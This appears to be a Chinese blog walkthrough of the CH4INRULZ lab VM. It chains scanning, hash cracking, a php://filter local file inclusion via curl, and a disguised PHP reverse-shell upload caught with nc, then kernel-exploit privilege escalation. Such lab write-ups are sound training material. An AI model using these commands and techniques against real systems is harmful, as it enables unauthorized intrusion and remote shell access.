靶机渗透之CH4INRULZ_v1.0.1(三)

一、环境准备

一台kali,一台FourAndSix2,能相互ping通

二、靶机发现

1.主机发现,用kali扫描靶机ip地址为192.168.143.129

nmap -sP 192.168.19.0/24

在这里插入图片描述

2.扫描靶机开放了哪些端口

nmap -sV 192.168.143.129

可以发现靶机开放了21 22 80 8011端口,可以从ssh服务、web服务进行入手
在这里插入图片描述

三、渗透过程

1.通过端口扫描发现21为FTP服务,版本为vsftpd 2.3.5;22为SSH服务,版本为OpenSSH 5.9p1 Debian 5ubuntu1.10,分别使用msf搜索对应漏洞均为发现漏洞

2.通过暴力破解ssh和ftp均为发现弱口令,但ftp可以匿名登陆,登陆后为发现有价值的东西

3.着重从80端口和8011端口入手
访问80端口,没有什么有意义的东西,反手一波目录扫描
在这里插入图片描述

dirb http://192.168.143.129 /usr/share/dirb/wordlists/common.txt 

在这里插入图片描述
访问其他目录时,无任何价值。当访问development时,提示需要进行权限验证,然后还有一个index.html.bak文件下载下来后,有一串密码
在这里插入图片描述
在这里插入图片描述使用john工具进行破解
在这里插入图片描述
密码为frank!!!,登入后内容如下:
在这里插入图片描述
一个上传文件的页面,其他文件及路由都是不可打开或者为主页的页面。

4.通过尝试需要配合8011端口组合攻击,继续扫描8011目录

dirb http://192.168.143.129:8011 /usr/share/dirb/wordlists/common.txt 

在这里插入图片描述
进入api目录查看,发现只有files_api.php可以打开
在这里插入图片描述
在这里插入图片描述
提示要进行file参数的传参,考虑是否有命令执行漏洞,这里get方式不行,只能用post方法
在这里插入图片描述
如果知道80端口服务的文件路径,就可以查看相应的知识,尝试是否能获取apache配置文件。

在这里插入图片描述
可以成功利用。再使用PHP伪协议读源码:

curl -X POST -d "file=php://filter/read=convert.base64-encode/resource=files_api.php" http://10.0.2.5:8011/api/files_api.php

在这里插入图片描述

并将得到的base64解码得到:

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

经过审计,可以发现图片上传时只对图片头部及后缀名进行审核,上传后的文件夹在FRANKuploads/这里,上传一句话木马,需要注意的要加gif头文件,ip地址是kali的
这里使用的是kali自带的webshell,在/usr/share/webshells/php目录下的php-reverse-shell.php,我们在里面加上gif文件头GIF98
在这里插入图片描述

上传后重新打开一个终端,执行nc -l -p 1234监听1234端口,在原来的终端执行curl -X POST -d “file=/var/www/development/uploader/FRANKuploads/2.gif” http://192.168.143.129:8011/api/files_api.php进行文件包含:
在这里插入图片描述
5.权限提升,获得shell之后可以发现是www-date权限,需要提升权限
这里可以用的是脏牛提权:
这里推荐一个github项目,从国外一个大佬那发现的:
https://github.com/manasmbellani/kernel-exploits
在这里插入图片描述
使用的是https://github.com/manasmbellani/kernelexploits/blob/master/ptrace_kmod2/ptrace_kmod2-64.c这个exp
gcc编译运行即可,提权成功
在这里插入图片描述
6.查看flag
在这里插入图片描述

四、总结

1.对文件上传后的路径的猜解

2.文件上传结合文件包含漏洞反弹shell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值